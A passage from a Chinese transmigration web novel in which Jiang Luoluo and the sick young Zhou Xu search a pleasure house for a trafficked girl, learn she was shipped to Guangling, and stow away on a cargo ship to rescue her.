任由江洛洛反复的手心手背试探他的额温。
“还好呀,脸瞧着红红的,好在并未高热,不算麻烦,休养几日就好了。”
江洛洛瞧他那痴傻掉的样子,有些不解,咋受个风寒还病了脑子了。
她退后了两步,坐回到临轩走前搬来的圈椅上,问道:“还有哪里不舒服的。”
周序愣愣的摇头,脸还是红扑扑的。
屋里并未开窗,初夏的暑热还是在的,屋内闷着总归不舒服。
她起身转了一圈,随手捡起窗前木案上的蒲扇轻摇了两下,又顺手把窗户撑开:“今日无风,透透气于病人是好的。”
周序点点头。
她复坐下又问道:“这几日我瞧着早出晚归,忙的团团转,哪来的空隙还生了场病?”
一问到这儿,刚回来的临轩抢了周序的话,一腿子跪在江洛洛跟前,吓得江洛洛弹射起身。
临轩一脸焦急:“江小姐,实话跟你说了吧,这几日公子每天回木渡,都为了去瞧一眼文妹,可昨儿个公子回去之后便不见了文妹的身影,公子去问那文妹娘老子什么情况,那二人支支吾吾不作声,文妹的哥哥嫂子一脸的不屑口中带骂,说赔钱玩意儿就该赔点钱,那是她的造化。”
江洛洛听到这里预感不好,她看向周序。
周序无奈轻叹一声,道:“如你所想,我大概也猜到了文妹怕是被强卖了,便去找在野郊喝酒的二流子,咳,咳,向他讨问文妹的去向......”
他咳嗽不止,拍胸口道:“咳,却不曾想我他腰间看见了你送给文妹的玉佩。”
“我想要回来,倒与二流子打了一架。”
临轩一旁委屈道:“本公子夺了玉佩就能回来,是二流子嘴巴不干净,言词侮辱小姐,又惹得公子气不过,与那厮混打一通,二流子来了帮手,逮着公子一顿好打,上次公子受的伤就没好全,如今刚养好了,又是被打的咳血。”
临轩心疼的看着床上的周序。
“偏巧不巧,回府的路上还偏淋着了一场大雨,昨儿晚上发了高热,我本想着喊大夫,可公子偏拉着不让,硬生生拖着今早烧才退了。”
江洛洛一听,心中吊起一口气:“真是胡闹了,发了热哪那么容易扛过去的。”
临轩红着眼惶恐道:“我也是后怕,万一真拖出个什么毛病,我可怎么跟死去的夫人交代。”
说着便落起泪来,他又断断续续念叨,说周序儿时身强体壮,这点小毛小病根本不在话下,如今越长,公子身子越弱,也不知怎么回事儿云云。
说到这,江洛洛眉头微皱,想起了他前世弃武从文的事儿,搁下蒲扇,直接坐上了周序的榻边。
周序没防她又来了,皱着眉道:“快些离远点,这里病气重的。”
江洛洛哪能应他,直接拉过他抓被子的手,探上他的脉搏。
她姐姐读的西医,而她修的中医里的藏医药学,偏巧这项技能在古代还起了些用处。
12. 殷切求助 不忍寒心
江洛洛按上他的寸口,沉取脉力。
果然,脉相虚浮,重按才得,与风寒不相干,是有病在肺腑。
不应该啊,她复按,脉力依旧浅浅,方刚少年的脉相虚浮至此,好像哪里有些不对劲。
忽而周序反手抓住张洛洛,突然想起什么,看着她一脸严肃道:“我知道了,文妹可能被卖进了宴春楼,一定是这样,二流子就是在宴春楼做事的!”
说着他朝临轩摆了摆手,示意林轩拿东西。
临轩在衣柜里一番倒腾,拿出了江洛洛给文妹的和田莲花玉佩交还给她。
江洛洛摆摆手:“这玉佩你留着吧,我身上挂的多,在拿着就挂不下了。”
临轩见周序没拒绝,又收了回去。
周序道:“前些时日我去找她的时候,文妹脸色就不好,心事重重的样子,我几番问她,她都说无事,我怕是她家人仗着她年纪小,不知给她洗脑了什么东西。”
“文妹性子软,也不经事,唬一唬也就全信了别人,若要是被卖了,这辈子就完了,咱们要想办法救救她!”
对于救助无辜穷苦少女这件事,江洛洛其实是没啥积极性的。
毕竟你真心实意的去帮助一个人,且付出了自己的精力财力,但对方很不巧的是一个白眼狼的话,说不难过,那是假的。
可眼前周序眼神殷殷期盼的看着她,在等她一句首肯。
算了,这是他第一次有求于自己,也是出于本心善良,不忍心寒了他的心,便点头应下来
“行,我随你去找找看,但你这身体怕是吃不消,要不......”
“只是风寒,还不至于不能起身行事,无事,我能起来!”
见着他要动,江洛洛起身让出位置,周序挪动到床边,随后看着她不动,江洛洛不解,头一歪回看他,二人相视。
临轩见自家公子有些羞的将头偏了过一侧,忙上前道:“还请江小姐避一避,公子起身更衣。”
这有啥,他里衣穿的好好的,有什么不好意思的,还不是套上就走的事。
江洛洛也能理解古人非礼勿视的那一套,走去了外屋。
这时大夫也来了,周序换好衣服着急走,推辞说不用把脉了,江洛洛拦住他:“没得急在这一时,大夫既然都来了,还是看一眼吧。”
周序无法,按下心中焦急,又落坐,让大夫一番细查。
随后大夫开了几味药,嘱咐了几句,周序匆匆跟着江洛洛出了门。
三层高的阁楼,气派辉煌,装修的像现世里十星级大酒店似的,她跟着周序来到楼下,抬眼看那夺目的匾额时,才发现事情并不简单。
“什么!宴春楼是青楼!”
“青楼,青楼不就是......”
江洛洛一路听周序解释,脑海里自然将宴春楼与电影里纸醉金迷的红灯区划上了等号,甚至浮想连遍那些坦胸露骨的女子,迎风摇曳身姿。
她一个未出阁的大闺女,带着一脸稚像的周序,光是从门口走一遍都有可能被门丁盯出千百个洞。
还好小满没跟来,不然肯定怼着周序一顿输出。
周序脸色为难,他道:“这里是文人墨客,风流才子聚集场所,文妹可能就在里面。”
“我与二流子结了仇,问是问不出具体下落了,不说和他起冲突,光是那白纸黑字的卖身契,咱们就算是拿到董知府那里,都是他占理,咱们无从辨解。”
“如今只能进宴春楼看看,打听一下今日有没有谁家卖了女儿到这里,下面再看后事如何。”
江洛洛听他说得有些道理,表示赞同。
周序又道:“只是咱们的装扮太不同,进去怕是惹眼。”
宴春楼多是男子进出,他两规规矩矩的模样,确实不适合。
江洛洛扶着额头想了想:“要不先去换个衣裳,我打扮成男子模样,这样不容易惹别人注意”
周序听她这么一提,觉得有戏,眼睛都亮了起来,脸色也缓了缓,当即二人去了最近的布店。
一路去布店,周序好像有心思,犹豫再三后,一把地拉住江洛洛,神色为难的从牙缝里挤出话:
“江小姐,我想了想,宴春楼毕竟不是个好地方,你若跟我去恐会遭了污名,要不你留在门口接应我,我自己进去吧。”
江洛洛看着他那扭扭捏捏的性子,答他道:
“马到悬崖你知道勒绳了,人都到门口了,哪有不进去的道理?再说了,你这副病殃殃的身子,里面的妈妈三言两语给你一迷,搞不好你自己都卖身给她了。”
少年气盛,纵使再镇定,听到江洛洛这样一说,还是羞红脸,垂下头来,想辩驳却扭过头猛地一阵咳嗽,涨红了脸。
江洛洛也是一时口快说了这话,想收住,但晚了,好像已经伤了周序的小心脏了。
她掩嘴安抚道:“也不是说你哈,毕竟你年纪小,还病着,我到底年长你几岁,想来陪着你,遇到什么事也好随机应变,有个商量。”
对,拿出姐姐的气势压他,转移他的注意点。
江洛洛挥去他的愁容:“咱们现在还是先别考虑那么多了,既是来打听人的,先进去再说。”
说罢,进了布店朝老板的柜台上拍了两锭银子,老板眯着眼带他们去二楼挑合身的男装。
换好再出来,江洛洛从闺秀成了个儒雅风流的公子,布店老板跟在后面不住的夸赞。
扫过周遭的衣裳,她又让老板照着周旭的身量,拿了两件成衣来。
老板是有眼力见儿的,立马挑出极好的布料,有墨黑,墨绿,深紫的。
一堆重色衣裳里,两件竹纹水蓝色广袖长袍,清新脱俗的踩在了江洛洛的审美上,她抚过去,触感如水般丝滑。
老板笑呵呵道:“姑娘有眼光,这是杭州新来的‘烟雨罗’,薄如蝉翼,密不透光,这绣纹也是精巧呢,绣的不是普通竹纹,是湘妃竹的纹样呢!”
江洛洛再瞧,那竹子上确有寻常竹子没有的斑点,或白或红。
“竹直坚韧寓意舜帝爱护百姓,这绣点也是娥皇女英思念丈夫所化泪斑,情比金坚呢,小姐要买来送给这公子的话,我瞧着正合适呢。”
要不说销售的嘴,骗人的鬼呢,他越说江洛洛越觉得这竹子与众不同,完全贴合了她想让周序保家为民的心思!
买!都买!
男子大多偏爱墨色,穿衣更显沉稳,但她看着周序文质彬彬的气质,白白嫩嫩的肌肤,黑色反而显得萧条冷漠。
不如水蓝色,更衬他如玉温润的公子形象。
她笑眯眯朝周序道:“既是我花钱,就不征求你的意见了,我瞧这两套水蓝色好得很,单穿或秋初衬在里面都好。”
“老板,这一件包起来,还有一件让小公子就穿上吧!”
周序试了衣服出来,江
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洛洛正拿着一根竹节簪等他,只见她满眼都是对自己挑对衣服的欣喜:“我还挑中了这个簪子,快到镜子前试试。”
她竟要为他束发......
这几天的闺塾没白学,江洛洛正想试试自己新学的扎头发手艺。
她托起周序黑色如墨的长发,束成发髻,额前几缕散发未完全束起,夏风微动,添了几分少年意气。
对镜时,周序看着镜中人,几乎认不出自己。
镜中人眉目清俊,水蓝色将他衬的生气勃勃,早不似初来时那般呆木死寂的模样。
江洛洛看他在发呆,没出声打扰,一双瞳孔出神时如深潭映月,清澈却不见底。
收拾毕后,二人互相打气,强装镇定,大摇大摆的晃进了宴春楼。
这宴春楼与江洛洛想象的有些出入,虽然各种花香,粉香,酒香,茶香重叠在一起,但是味道并不算难闻。
里面也不是鱼龙混杂,反而各个都似有头有脸的人物。
一楼高台之上有少女起舞,乐师奏乐,台下行走华衣侍女各处端盘送盏。
他们越往里走,来往男子越是簇拥,围着看台都在拍手叫好,一掷千金为台上的姑娘打赏银钱。
只见女子轻纱遮体,舞姿妩媚,时而抬腿,时而弯腰,眼神勾人,哪怕是心理年纪二十七八的现世人江洛洛,都被撩的脸红心跳。
再一看,她身边的周序倒是淡然的很,注意力全在搜寻文妹的踪迹中。
江洛洛这才想起来有正事儿,拉他到一旁问道:“我瞧着这里也没有小姑娘干活的,会不会你判断错了。”
周序摇摇头,笃定道:“不会的,二流子就是这宴春楼的下手,一直帮这儿的老板做事,他行事张狂,身后有些人,无非是仰仗着宴春楼的名号,他既然敢买人,哪里还有比宴春楼更需要女人道=的。”
江洛洛不懂这里面的弯绕,但对于他的智商,江洛洛还是信任占了上乘。
宴春楼整整三层,按照这般大的规模来说,上下三层加起来的房间百间不止,像这样大海捞针的找人毫无头绪。
二人正计划着去往后院看看,忽然一个手带银环的侍女拦住了他两去路:“江小姐,咱们顾老板有请。”
江洛洛看着自己眼前仙女一般的女子根本就不认识,不免惶恐不安。
什么情况?如此包装了,怎么还是被人发现了。
她见周序眼神里的询问,无奈摇了摇头,表示自己完全是状况之外。
随后侍女前面走着,两小只跟着爬上三楼,绕左绕右,进了最里间的房间。
这最里间的门与一路过来的门不同。
楠木门上雕了飞鸟祥云浮雕,她还没看细,侍女一把推开门。
眼前所见,只有四个字形容屋子:富丽堂皇。
从左面墙上望去,四幅金镶玉的画框包着极华丽的苏绣‘,分别是梅,竹,菊,松’布画。
右面墙是黄木的置物架,置物架每个格子约放置一个杯子大小,杯子填满整墙。
江洛洛一眼扫过去,什么玉杯,瓷杯,盏杯,酒杯,红的,白的,青花的,怕是大几百个要有,价值不菲。
侍女脱鞋进门,江洛洛与周序也只好脱下靴子,满铺的白狐地毯,脚踩上去,舒服的人灵魂生颤。
江洛洛瞧着一地狐毛,心中疯狂呐喊:“保护动物,人人有责,没有买卖就没有伤害!”
13. 探宴春楼 知广陵祸
房间陈设一张圆木桌,桌上摆了两套玉质茶具,像是知道他们会来。
侍女引着她坐下,江洛洛坐在一看就价值不菲的镂空雕木椅上,被眼前的圆桌吸引了视线。
一张直径约六米的金木桌面,桌面中间居然还挖了八个方凹形的景观洞。
洞里分别归置彩泥所塑的八仙过海各位神仙,其中假山玉石皆为真物,再由水晶薄板封住。
桌子!吃!饭!的桌子哎!
桌子里面搞景观!谁特......见过!
怪不到有句俗语叫大饱眼福,她今日是明白了。
她摸着光滑的上等木头,不由和一旁正紧张环顾的周序搭话,口中不停‘妈耶,妈耶’的发出赞叹。
片刻,几个侍女赤脚,脚带银铃,鱼贯而入奉上点心。
她们手中盘子并非瓷器,而是与茶杯一体,俱是透着荧光的玉器。
点心搁置好后,左侧墙面的一扇碎玉门帘叮铃哐啷被人掀起,一个中年男子手上捻着佛珠,脸上笑容温和。
江洛洛细看,这男子虽年岁与他大舅舅一般无二,但面容轮廓却胜她两个舅舅十分。
不仅容光焕发,五官立体,就连挺拔的身段都可以用‘叔圈天菜’来形容。
他扫了一眼没啥表情的周序,目光定在江洛洛的脸上。
眉目温温,嘴角微扬,他的眼神与初见陌生人的打量不同,总感觉这个大叔好像认识她,又像是在看她又不像在看她。
这应该就是宴春楼赫赫有名的大老板顾如鹰了。
他坐在江洛洛对面,浅浅笑了一下,才缓开口:“哪里来的两个小娃娃,怎么闯到我宴春楼来了。”
‘敌’方淡定,周序也冷静,江洛洛没忍住,瞧他没有恶意温温和和的,顺着他的话,接道:“这位大叔,我们不是故意的,实在是迫不得已,想来找个人。”
顾如鹰含笑看了她一眼:“哦?”
随即起身拎起嵌在冰块里的精巧酒壶,往她二人面前的玉杯里斟了酒。
“找人?小丫头,你怕是不知道我这里是干什么行当的,来找人多了,但像你这般年纪来找人的,却从没有过,你倒说说看你来找谁?”
江洛洛认真想了想没说出来,自己与文妹不过一面之缘,并不熟悉,于是悄悄拉了拉身旁周序的衣袖。
周序看着对面的顾老板显然谨慎,认真道:“一个十岁的女孩子,脸是鹅蛋形状,皮肤黄黄的,眼睛很大,如果没有被人换衣服,她应当穿着蓝裤子和草鞋,她的裤子上有许多补丁。”
周序顿了顿,继续:“木渡庄的二流子就拿了她的卖身契,我估计是昨日将她卖到这里来的。”
“二流子?”顾如鹰问了一嘴。
周序:“是的,大名是李二牛!”
“他一直在帮宴春楼做事,十有八九是将那女孩卖到了这里,若是顾老板见了,还烦请告知我们,我们想将她赎回去。”
顾如鹰坐回到垫了狐皮的圈椅上,轻轻往后一仰:“小弟弟真是说笑了,十岁?我这里从来没有来过十七岁往下的姑娘,来我这里的女子也都是心甘情愿的讨碗饭吃,没有强买强卖的说法,你来错地方了。”
“十七岁往下的姑娘。”周序皱眉:“怎么可能?”
他语气焦急,吸了一口气大声道:“可那张卖身契上盖的,是你宴春楼的章!”
江洛洛看了他,一直没听他提过,小声问:“你怎么知道的?”
周序侧声与她道:“就是那日在蟹塘,你吞下去的那张契纸,我亲眼看到下面的红章盖,就是宴春楼!”
那红章泥印子,周序那日一瞧是粗制滥造了些,凭宴春楼不至于用那等劣质红泥,他猜,极有可能是二流子假冒的。
加上契纸销毁,没有对证,所以他一直没提这件事。
但现在,他要找到文妹,就一定要借顾如鹰的势拿住二流子,才能问出下落。
顾如鹰还是那不咸不淡的调子:“哦?我竟不知我的章还盖了我不知道的契纸。”
说罢他敲了敲桌子,推门进来一个束高发,腰间配长鞭的女子。
女子躬身,顾如鹰道:“凤鸣,去帮我查查一个叫李二牛的在外面做了什么招摇撞骗的事。”
“这小子一口咬定我们宴春楼拐卖了小孩子,脏水都泼我这里来了,还得了。”
顾如鹰神情坦然,说起要查李二牛也不像唬人的样子。
江洛洛看着他吩咐手下,那叫凤鸣的小姐姐出门时,好似瞥了她一眼。
“若真是如你所说,有人打着我宴春楼的名号在外强拐人口,那我自然是不会放过,这事你们先别急,坐这里等一等。”
顾如鹰道:“尝尝我这冰镇的杨梅酒,这可是我亲手酿的,特别是江小姑娘,试试看合不合你的口味。”
他一副自来熟的模样,让江洛洛心中疑惑。
见周序不动,她伸了手想试试,周序立马出手,将她手里的玉杯压下,笑道:“谢谢顾老板,我们暂时不渴也不饿。”
顾如鹰白了周序一眼,看向江洛洛又笑道:“你喝你的,别听这小子的,进了大叔的地盘有什么好怕的?我要真想弄死你们,何必费这么大周章请你们进来?”
“就你俩一早在门口晃来晃去,还乔装换衣服时,我早就看见了。”
从直觉上来讲,江洛洛虽然放下了酒杯,但总觉得顾如鹰并无半分恶意,甚至还有些亲切。
她将心中好奇吐出:“顾老板,你怎么知道我姓江,难道认识我?”
顾如鹰呵呵笑道:“你是董家的三小姐的女儿吧,你母亲董绢是我年少时就认识的,我们的交情可不浅呢,可惜她十几岁嫁去京州,我已经十几年没见过她了,你长的和你母亲很像,特别是眉毛眼睛,都有英气。”
他忽而想起什么自说道:“你那糙爹,我也见过,武将俗人一个,不好看!”
......
正聊着,那叫凤鸣的小姐姐进来了,俯身在他耳边说了几句,随后退下。
顾如鹰正色道:“却如你们所说,李二牛昨日是卖了一个姑娘,但并没有并未卖到宴春楼,而是走了黑船,送去广陵了......”
“什么!”周序一惊:“广陵!”
顾如鹰神情变的严峻,言辞间有股狠劲:“听说这两年,经这犊子手里走了十八个女孩子,还是打着宴春楼的名号,真是找死!现在人关在后院柴房,你们赶快去问几句话,问完,我要送去江小姐的大舅舅那里了。”
周序拍桌而起,提衫匆匆下楼往后院奔去,江洛洛也顾不得道谢,跟着他立马下去。
下楼梯时,耳边微波炉又是一声【叮】,系统熟悉的3D立体环绕声在她脑子里响起。
系统:【宿主您好,初始阶段发布首次任务:‘解救文妹与十八个被拐女子’,任务地点:‘广陵’,任务目标:让主角对您说出‘谢谢’二字。】
【任务完成,数值积分可加100,主角好感度随机增值,祝您早日成功,谢谢!】
江洛洛以前总觉得系统是个服务器,无非给她提醒数值,讲讲她要做什么事。
正式发布任务指令,这还是第一次。
看来这也是史书里,周序大概率遇到的第一件
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,会改变人生走向的事了。
系统:【任务地点已确定,请宿主在三日内到达广陵,过时视为放弃任务,系统将给予扣分惩罚。】
【祝您旅途愉快!】
江洛洛懵圈的接受了第一个任务安排。
周序也失魂落魄的从柴房里走了出来。
他见到江洛洛第一句话就是:“我要去广陵,立马!”
江洛洛刚想劝,他抢话:“回去我便叫上临轩,得快!还麻烦江小姐回去和江夫人说一声,这些时日来,多谢她的照顾,日后有机会,我定相报!”
江洛洛:“不是,怎么这么着急,好歹也商议一下怎么去广陵,去广陵之后做什么,我去找找我大舅舅,再不行,我二舅舅是管漕运的,或许他也能帮忙啊。”
周序抬头:“漕运,对,董大当家管着苏州大半城的船,能否麻烦你和他说一声,如果他有去广陵的船,我借道走一趟!”
江洛洛觉得他很着急,可这般冲动也不是办法:“你先冷静,事情还需从长计议。”
她呼出一口气,好生劝慰道:“救人是大事,找回文妹,包括顾老板所说的那十八名女子下落,不是靠脑袋一热就能做到的,我先去回禀母亲再说,况且顾老板既然要将李二牛送到我大舅舅那里,自然官府也会知道了这件事。”
“从苏州卖出去的女孩子,官府会去救的,你先别太着急了!”
周序突然发了火,语气很冲道:“什么不着急,你官家小姐,锦衣玉食,当然能够风轻云淡,你可知广陵是什么去处?!”
江洛洛也不计较他此刻失控恼火,只想让他稍微冷静一下。
周序也意识到自己失态,可耐何心急如焚。
“我并非对你发火,而是广陵非人之去处,而是人间炼狱!”
江洛洛不解。
他道:“这些年,大庸南北商贩云集广陵、做起倒卖茶叶、丝绸、盐米的生意来,许多人手上富裕起来,便玩出花样。”
“这些商人将妻儿老小留在老家,却在广陵城骄奢淫逸,你不知这些年,经富商一手造起来的魔窟有多吃人,他们将无父无母的孤儿或穷苦人家的女孩,以极低的价格送到教娘手里,好生培养三五年,便送去个富商身边为奴为妾,沦为玩物!”
“他们还为这样的行当取了名字,叫养瘦马,什么养瘦马,简直就是杀人!吃人!”
江洛洛听完十分震惊,纵使她再理智,再没有助人情结,都被这一番话惊的心跳加快。
十岁来去的女子,没有任何反抗能力,若是家里再不保护,真的如同大象脚下的蚂蚁。
‘瘦马’,江洛洛倒是在看史书时有些印象,那些黑心的富商为求攀比,要求女子纤瘦可依。
那教娘为求将她们卖出高价,日日不给这些女孩吃饱饭,甚至缠足,束腰段,只为让女孩纤腰盈盈一握,瘦成非人模样。
有的女孩撑不住,活活被饿死,有幸没饿死的,也会被逼着学习各种才艺技能以及讨好富商的手段。
别谈尊严了,能活下来,这些女孩子都算是走了大运。
救!必须救!
不为任务,为自己过的去的良心。
可怎么救需要商议,她看着眼前少年神色忧愁,可光凭热血无脑冲,最后也只能是一腔热血,于事无益。
江洛洛回过神来,语气小心:“好,好,你听我说,我们现在就去找二舅舅,问他最快去广陵的船什么时候发,但是得先回府收拾一下行李,带些傍身的银两,称手的武器,对吧!”
听见江洛洛愿意帮忙,周序脸色才舒展了一些:“好!”
14.偷上货船 真的突然
狭窄的货船船头洞里,空气是闷热难熬且不太够呼吸的。
江洛洛莫名其妙跟着周序偷偷钻进来的时候,大脑是停止运转的。
从宴春楼离开时,说好带他先来码头问问二舅舅,有没有最快去广陵的船,完了回去带上临轩小满,顺道告知一下她母亲。
好死不死听见两个搬货工着急忙慌的搬货交谈。
带头巾的汉子:“还有两箱快点搬上,董爷这批货时间赶,兄弟们搬完就立刻发船了。”
脖子上挂毛巾的汉子:“知道了,这趟轮到我俩跟船走,还好是去广陵不算远,不然天气这么热,有的遭罪了。”
好了,‘广陵’二字跟激活了周序的开关一样,他眼睛大大的,扑闪扑闪的,就尾随那些人鬼鬼祟祟的混上了这条船。
江洛洛很想说,这好歹也是她亲舅舅的船,半推半就嘛也能舔着大脸说是自己家的,何怎么就成了现在的境地。
船晃晃悠悠离开码头的时候,江洛洛才意识到自己在古代做了这样的事,是有多离谱。
江夫人没去知会一声,她两个舅舅的面没见着,等她意识到为时已晚的时候,看见周序发白的脸,把话硬咽了下去。
货船的船头洞无人看守,她俩神不知鬼不觉掀了盖板下来的。
江洛洛一身淡绿的素纱长裙,裙角沾满灰尘,脂粉被汗化开,灰头土脸,发髻上还缠着不知哪一年的蜘蛛网。
阳光打进船洞,空气里铺满丁达尔效应,有点好看又有点难捱。
她相信,此刻若有个打火机,一点火苗都能将这船洞下的粉尘引起爆炸。
唉,江洛洛扶额,蒸蚌啊,周序,我谢谢全世界!
船底贴着水流,能清楚地听见哗啦啦的声音,加上大船摇晃的失重感,江洛洛好像有点晕船了。
她想吐,又不敢表现的很难受,只能忍着反胃,还好她早上没吃什么东西。
她生无可恋的看着空气里飘散的灰尘。
系统给了她三天时间啊,又不是三秒,史上最积极完成任务的用户应该就是她了吧。
就算是去旅游,也该带一些钱财贴身衣物什么的吧,现在他们两个双手空空,在干嘛,去广陵乞讨卖艺嘛?
正吐槽着,江洛洛碰到腰间悬挂着的各式玉佩,猛地一喜!
“小桶,小桶!”
系统:【我在。】
江洛洛:“快帮我看看,我这些玉佩值多少钱!”
系统倒是很贴心,计算的电流声在她脑海里穿梭,继而贴心回答。
系统:【宿主您好,您这些玉佩价值不菲,每一块可典当约五十两白银,若将玉佩全部当完,足够支撑您的广陵之行了!】
嘿!她成天嫌弃繁琐的小玩意儿这么值钱!
一块五十,她身上挂了大大小小五六块,合算起来也就是三百两之多。
江洛洛:【小桶,我能将这些玉佩全部当掉,把钱花光吗!】
系统:【并不建议将过去月光族的陋习带进书里,小桶温馨提示:八荣八耻请谨记,勤俭节约是美德。】
......
一个系统这么根正苗红。
不过想想也是,若它不根正苗红,也不会想出让她拯救千古罪人,这么反人类的任务。
她穿进书里也有段时间了,从接触周序以来,经历的事件都算作小打小闹的话,这一次广陵之行算是正儿八经的任务了。
按照他目前的情况来说,他偷偷跑去广陵,不在田里呆着,不管是救人还是害人,如果他那继母知道了,必定会拿这事大做一番大文章。
但是管不了那么多了,反正这事如果成功,那周序解救失足少女的事,也是他以后立好人设的基石。
片刻,她听见身边的人肚子咕咕的响,时近晌午,也到了饿的时间了。
她看向周序,出门到现在,他都还算作一个病患,有时听见他轻轻咳嗽,有时又生忍住,只几声闷咳。
刚进船洞时,他好几次没憋住,便重重捶自己胸口,强压下去。
江洛洛知道,他并非逞强,而是不想人前示弱。
今早给他买的水蓝色罗衣已被灰尘染脏,头上的竹簪松散了些,却挡不住他眉宇间的坚定。
江洛洛很少与他挨得这么近,更别说细细看他的脸。
如今观察他,脸虽透着稚嫩,也没有成熟男子分明的下颌线,眼角一颗泪痣,远时看不清楚,如今倒为他一张男子汉的脸添了些妩媚之气。
抛去江洛洛对他不堪的初印象,她客观评价周序少年的性格,可谓温润儒雅,坚韧隐忍,更是说一不二,勤奋刻苦。
几乎是集齐了一个好学生,该有的一切优点,没有人不喜欢乖小孩,而且是长得好看的乖小孩。
虽说自己这副身子占了个他未婚妻的名号,可她对男主却毫无半分非分之想,只有姐姐看弟弟的那一份心疼和理解。
江洛洛从胸口掏出一包酥饼,这是她走前,顾如鹰特意让侍女留给她的。
她捏起一块酥饼,敲掉碎渣分到周序跟前。
周序终于看她了,只是神色复杂不像是开心的样子。
她将酥饼推到他眼前,正巧还有三块:“周序,你吃两块,我一块就够了!”
周序没动,注视着她。
江洛洛又把酥饼往他跟前推了推,侧头,用疑惑的眼神看向他,示意他快接过去。
周序接过来,忽而轻轻一声:“对不起。”
原来沉默到现在,是因为后悔将江洛洛带上了船。
除去系统的任务性质,江洛洛明白周序之所以对这件事上心,除了良知外,人倾向于与自己经历很像的人,感同身受。
文妹父母不疼,哥嫂不屑,却活的乐观善良。
相比母亲走后活的如履薄冰的周序,他内心惶恐不安,没有安全感,怕自己某一天也会被抛弃,无家可归。
所以,他同情文妹。
哪怕这条路很难。
封建时代的条条框框,奸商污吏环环相扣,以周序之力破局难如登天。
她此刻并不想煽情安慰,只道:“既来之则安之,先填饱肚子,后面慢慢在看。”
周序很是乖顺,接过去酥饼吞咽起来。
江洛洛蜷着腿,靠在船壁上发呆试图回想书里的文字。
感觉真的很奇妙。
她曾经熬夜扒过的各种野史的男主角,此时此刻就在她身边,距离近的,伸个懒腰就能触碰。
周序吃完闭着眼,也不知是不是睡着了。
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忽然,她灵光乍现,一连串文字排着队挤进她的大脑。
「周序年少风流,曾在广陵因一官妓与人结仇,其父得知他品行不端,气侯府嫡子仅十几岁便要养外室,便一棍子将那官妓打死,将他带回京州,禁足祠堂。」
这是野史来的,真实性不可求证,可却偏偏让江洛洛联想到了这次广陵之行。
假设前一世官妓是文妹,假设他父亲当着他的面打死了文妹,那就是打死了周序少年的善良和同理心,也是他开始不相信任何人的复仇开始。
船行驶了一段时间,灰尘也慢慢积淀下来,船洞被遮蔽着,但空间是还算大,甲板缝隙撒下来的光,将洞里照亮。
她悄悄侧头看着周序,一束光打在他身上,自古强大的人就有一种神奇的气场,那就是无论他做什么事情,你总有一种背靠大树好乘凉的心态。
就像这一次,虽然他们好像是去做一件不可能的事,但因为是和周序一起,好像一切变得皆有可能。
她能有这样的感觉,那他继母一定也是,这也就解释了为什么他的继母后期忌惮他,害怕他承袭爵位,想方设法赶他出门。
将一只小白兔逼的乱咬人。
甲板上有脚步声,咚咚的走过去又走过来,接着又走过来却没有走过去。
她正好奇像透过缝隙看看。
霍然,头顶盖板被人掀开,她与早上遇见的那个带头巾的搬货工四目相对,那边愣住一瞬才猛的转过去高喊:“有人!船头洞里有偷渡的!”
江洛洛恨不得去捂他的嘴,完蛋了,要是被赶下船,她不会游泳的,可怎么办?
头顶上的阳光格外亮,甚至说是刺眼,顶板全部被掀开。
先是两个人围观,然后是五个,六个......
“两个人!还有个姑娘!”
“真是唉!”
“怕不是哪家公子小姐私奔的吧!”
各个像村口看热闹的大妈似的七嘴八舌。
“董爷来了,让开,让开,董爷!”
一下子,所有人的目光都转移,盖板口的人群让出了一个宽大的位置。
周序超乎常人的淡定。
江洛洛内心呐喊,老天爷啊,直接把她拉上去判刑吧,看来看去算什么事啊。
再看到洞口那张脸的时候,她整个人感动的几乎都要哭了。
董绸如天神降临一般,表情先是好奇戒备到震惊着急。
“媛姐儿!要了老命了,你怎么跑到货船上来了!还钻在船头洞里!”
她二舅舅出现的真够及时。
江洛洛也不知怎么回答,可怜巴巴喊了一句:“二舅舅!”
董绸:“快上来,快上来,洞里腌脏,受了霉气咋好!”
他二舅舅急的,伸进半个身子拉她上来,周围人也假装很着急的要帮忙。
董绪轻柔的将她身上灰尘拍净。
“快跟我去屋子里再洗把脸,姑娘家整的灰头土脸的。”
江洛洛与董绪不算太熟,总觉得有些尴尬。
此刻她被发现与周序孤男寡女共处一洞,还靠得这么近,居然有种被家长抓早恋的尴尬无措。
她扣扣发痒的鼻子,乖巧的跟着董绪,先不说话,见机行事吧。
15.二舅责备 张叔相助
周序与她,两个人低着头像鸡仔罚站似的,谁也不敢有表情。
董绸气得脸色铁青,在船屋的木板上来回踱步,手指头对着空气,以每秒十次的频率,不停颤抖。
最后咬着牙往旁边一坐:“你一个大门不出,二门不迈的大家闺秀,居然敢偷渡,要不是正巧撞我船上,这世道,你被人拎出来,怎么死的都不知道!”
虽然周序不是黄毛,但董绸看着眼前这个脏兮兮的少年,很不顺眼,猜到就是他拐了自己外甥女,更气了。
“先前就听说你母亲许你日日下乡,去找这臭小子,我也就不管了,现在愈发变得放肆,居然被这臭小子怂恿着出来私奔。”
“你说说你怎么想的,放着江家董家小姐不做,跟他?他!”
这个‘他’字咬的重,话里话外都是‘这啥玩意儿’的意思。
长辈式问责,江洛洛从小就听多了,她尴尬扶额,实在不敢抬头与她二舅舅对视。
突然,船门被推开,熟悉的声音在身边响起。
“二爷快别气了,小心吓着小姐,小姐身子还没好透呢,又从船洞里刚上来,还不看座倒茶。”
是张贵叔!
张贵叔她最熟悉了,比她亲爹亲哥都熟,有个相熟的长辈在,江洛洛心理上放松下来,多了些安全感。
江洛洛突然想到周序身上还受着伤,又加之感冒,赶紧道:“是啊,周序还生着病,要不先坐下来吧。”
“你!你!你!”
“你管好自己吧,管他做甚!”
董绪绸两眼一黑,气的说不出话,咬着牙恨铁不成钢的样子。
她也不管了,捏着周序袖子小声扯道:“快坐下喝点茶吧,刚刚吃了饼,润下嗓子。”
周序点点头,又看向脸拉的像驴的董绸,规规矩矩的行礼:“千错万错在执言一人,是我拉了江小姐上船,还望董帮主不要怪罪在江小姐身上,我愿承担罪责!”
“怪你个头!”董绸听他说话,气的将他一推!
周序身形一歪,江洛洛吓得立马过去扶住他。
董绸那眼神就差把江洛洛拉的离周序数米远了!
江洛洛:“不是的,二舅舅你听我说,不是你想的私奔不私奔的,我们是有很重要的事要去做,我们要去救人。”
董绸:“胡扯,你个小孩子救什么人,要救人,白道上有你大舅舅,□□上有你二舅舅,什么事能到你出头!”
“你跟着我船离了码头,万一出了什么事,我这辈子怎么过得去,再被你母亲知道,我不得被她扒一层皮!”
“你瞧瞧你护着这小崽子的模样,当真我才是你亲舅舅,他有什么好护的?”
